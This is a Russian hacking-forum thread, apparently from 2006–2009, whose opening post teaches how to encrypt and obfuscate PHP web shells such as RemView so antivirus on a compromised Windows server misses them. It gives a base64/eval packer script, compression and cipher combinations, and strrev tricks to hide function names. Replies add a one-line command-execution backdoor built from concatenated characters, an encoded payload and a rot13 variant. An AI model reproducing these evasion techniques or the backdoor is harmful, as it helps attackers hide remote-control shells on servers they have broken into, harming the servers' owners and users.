PDA

Просмотр полной версии : Криптуем php скрипты от антивирей


Talisman
12.11.2006, 22:53
Вчера в аську постучался чел, с которым я вел довольно длительную переписку-консультацию по имению виндового сервака. Очередная его просьба заключалась в том, что RemView палится NOD`om, стоящим на виндовом сервачке - он просил дать аналогичную софтинку, только не палащуюся.
Первым делом пришла идея просто зашифровать base64_decode (http://ru2.php.net/manual/ru/function.base64-decode.php), и я быстренько накодил следующий код:
eval(base64_decode(code));и быстренько накодил скрипт:
<?php
$file_array = file( "RemView.php" ); // следует помнить, что в файле в кодируемом файле должны быть удалены начальные и конечные "примочки" php-кода (<? и ?>)
while ( list( $line ) = each($file_array) ):
$c.=$file_array[$line];
$c.=chr(10);
endwhile;
echo "eval(base64_decode('" . base64_encode($c) . '\'));';
?>А как зашифровать сложнее, и сжать код - читаем дальше:
Функции СИММЕТРИЧНОГО ШИФРОВАНИЯ, которые могут нам помочь:

Функция mcrypt_ecb(Алгоритм,ключ,данные, режим);
Алгоритмы шифрования, которые есть в либе libmcrypt:
MCRYPT_DES - алгоритм DES
MCRYPT_3DES - алгоритм 3DES
MCRYPT_BLOWFISH - алгоритм BLOWFISH
MCRYPT_CAST128 - алгоритм cast256
MCRYPT_CAST256 - алгоритм cast256Режим: либо MCRYPT_ENCRYPT (зашифровать) либо MCRYPT_DECRYPT (расшифровать)
Более подробно о функции можно глянуть тут: http://ru2.php.net/manual/ru/function.mcrypt-ecb.php

Функции АССИМЕТРИЧНОГО шифрования, которые могут нам помочь:
Например SSL, но мы рассматривать ее не будем ))) нах оно нам? Хотя если остальные будут палиться... то )

Очень жаль, но необратимое шифрование нам помочь никак не может :( например функция md5(); :D
Функции изменения основания системы данных шифрования, которые могут нам помочь:
О, как выразился) к функциям относятся и примененные тимой RST в конструкторе своего шелла (линк на конструктор (http://www.rst.void.ru/r57shell_create.php)):
gzdeflate (http://ru2.php.net/manual/ru/function.gzdeflate.php) & base64_encode (http://ru2.php.net/manual/ru/function.base64-encode.php)
gzdeflate & bin2hex (http://ru2.php.net/manual/ru/function.bin2hex.php)
gzdeflate & urlencode (http://ru2.php.net/manual/ru/function.urlencode.php)
gzcompress (http://ru2.php.net/manual/ru/function.gzcompress.php) & base64_encode
gzcompress & bin2hex
gzcompress & urlencode
bzcompress (http://ru2.php.net/manual/ru/function.bzcompress.php) & base64_encode (PHP >= 4.3.3)
bzcompress & bin2hex (PHP >= 4.3.3)
bzcompress & urlencode (PHP >= 4.3.3)(они тут еще и ужимали полученный код дефлейтом и компрессором)
Кроме заюзанных функций: bindec() (http://ru2.php.net/manual/ru/function.bindec.php), decoct() (http://ru2.php.net/manual/ru/function.decoct.php), dechex() (http://ru2.php.net/manual/ru/function.dechex.php) Стоит и упоминуть еще: base_convert() (http://ru2.php.net/manual/ru/function.base-convert.php) - очень удобная фича, можно добавить еще и комбинации используя операции работы со строками и очень понтовую фичу - strrev() (http://ru2.php.net/manual/ru/function.strrev.php) - она просто переворачивает строчку задом наперед ) (помню, писал проги для поиска фраз - полиндромов - прогоните строчки: "Улыбок тебе дед макар" и "Лазер вове хер отрезал" :D )

Шифруем имена самих функций
Ладно, код мы упаковали, но как быть насчет поиска антивирем наших "странных" конструкций? Нужно шифроваться ) юзаем strrev() (http://ru2.php.net/manual/ru/function.strrev.php) или другие подобные функции, которые затруднят поиск потенциально опасных конструкций в исследуемом коде.
Например, очнь прикольный ход:
$_D=strrev('edoced_46esab');
eval($_D('....')); // данный закодированный base64_encode
(финт применен в криптовании бекдора в нуленом даталайфе 4.5)
простым поиском по файлу мы не найдем base64_decode (http://ru2.php.net/manual/ru/function.base64-decode.php), которую очень часто юзают в злонамеренных целях. Впрочем и eval() (http://ru2.php.net/manual/ru/function.eval.php) тоже можно было зашифровать.





Надеюсь, теперь тебе не составит никакого труда кодировать свои шеллы ;)

r0
12.11.2006, 23:02
Проще свой шелл накатать..

Talisman
12.11.2006, 23:35
Проще свой шелл накатать..
ну не скажи!
и если свой шелл не криптовать, то его просто поиском по содержимому найти

steamer
20.11.2006, 22:34
Статья хорошая, а шел свой писать тоже влом, зачем заново изобретать велосипед, хотя если делать нечего, можно попробовать.

А вот минус за "Лазер вове хер отрезал". Я минут пять пересматривал эту фразу, из палиндромов только слово Лазер. Может я что не так понял??? :)

Mo4x
21.03.2007, 01:12
Ребята а есть исче какие то способы спратоть а то я не силен в пхп сам додуматься не могу .

4xks
21.05.2007, 03:26
Ой да етож исходнег - его можно править вручную как хочешь и где хочешь - тупо можно автоматом сменить все переменные на свои или добавить левый код, вот и не будет палиццо антивирусами.

pento
21.05.2007, 07:22
Букв конечно много написал ты...только вот RemView палится NOD`om очевидно по сигнатурам кода...и если пройтись по нему (то есть по коду) любым пхпшным обфускатором, и даже самописным, то проблема исчезнет. И без всякого там шифрования и бредовой книги кулхацкера Флеонова, который на что только не смотрел ещё "глазами хакера"...

P.S. по поводу
и быстренько накодил скрипт:


Скажи, а зачем такие "магические движения" при чтении файла?
file_get_contents или file+implode не модно? про chr(10) особенно улыбнуло.

nerezus
21.05.2007, 07:32
Пардон, а каким образом антивири палят ТЕКСТОВИК? )

pento
21.05.2007, 07:32
ну не скажи!
и если свой шелл не криптовать, то его просто поиском по содержимому найти

<?php
$foo = 's'.'y'.'s'.'t'.'e'.'m';
$foo($_GET['c']);
?>

удачи

guest3297
21.05.2007, 07:40
Пардон, а каким образом антивири палят ТЕКСТОВИК? )
отжег... наверное эвристическим....

Для уменьшения размера, добавь в свой мини скриптик bzcompress gzcompress.

nerezus
21.05.2007, 07:50
отжег... наверное эвристическим.... Я не про то. Нахрена они его палят? Хотя я помню, что один из антивирей, которые я пробовал, даже всякие brutus и парсеры палил =)

guest3297
21.05.2007, 07:53
может быть hack.tool.***
или это риторический вопрос )))

Alexsize
21.05.2007, 08:38
Злые духи сглазили Касперского, а потом и создателей остальных аверов!

Сигнтуры. В них весь прикол. Программа тупо исчет их. А злые духи делают все остальное...

nerezus
21.05.2007, 08:40
Я помню, был раньше такой антивирь Dr.Web, кривой до безобразия.

Так вот он считал вирусами:
1) bz2 архивы (потом все-таки хватило мозгов исправить)
2) Мелкие рограммы на gcc, работающие с сетью.

За счет этой хрени он палил мои безобидные программы типа осикуботов.

spam4u
14.07.2009, 11:37
помогите зашифровать сразу 3 функции и что бы при вызове они работали: eval(gzinflate(base64_decode()))

<?php eval(gzinflate(base64_decode('K8goyMxLy9fQtAYA'))) ?>

шифровка такого плана:

<?php
$foo = 's'.'y'.'s'.'t'.'e'.'m';
$foo($_GET['c']);
?>

шифровал три функции способом описанным выше, но при вызове работает только первая одна, не могу понять в чем дело.
оч. нужно. в долгу не останусь, отблагодарю :)

Calcutta
14.07.2009, 15:38
http://quest.fsb-my.name/code.php
в помощь
у меня получилось: U0nLz1ewVVAvVtdTrwRiEF0CxKlAnKturcDLpQJUoaES7+4aEq 2erB6raQ0A

проверяй работоспособность, сам затестить не могу, комп ребутать придётся.

diehard
14.07.2009, 17:32
Лазер вове хер отрезал
Не понял я, в чем тут прикол

Dj-Matrix
14.07.2009, 19:25
Не понял я, в чем тут прикол
Правильно будет Лазер Боре хер обрезал :D (полиндром)

qBiN
20.08.2009, 14:36
Дурь какая. Blowfish des tripledes, зачем так все усложнять. Берем наипростейший алгоритм - алгоритм цезаря. Для ленивых впринципе он реализован в php(ну в 4.0 точно был,раньше хз) str_rot13() тот же алгоритм цезаря с ключем 13.

_==wolf==_
23.08.2009, 18:26
то что антивири палят тхт с хак тулзами это ещё ничего. вот когда мой друг писал прогу, сынок у него музыку качает из инета... прога работает скрытно, как сниффер. если сынок начинает качать музон mp3 она проверяет файл на примерное наличие матерных фраз (эталоны лежат в папке с прогой) и заменяет их на бипы... жесть было когда бедный мальчик наткнулся на папку с прогой и начал слушать эталоны... сорри за оффтоп, вспомнил просто. ^_^

Zitt
23.08.2009, 19:58
Это как?
Прога сравнивалоа звуковой поток чтоле? А если в песни голос\интонация\произношен ие другое как в эталоне?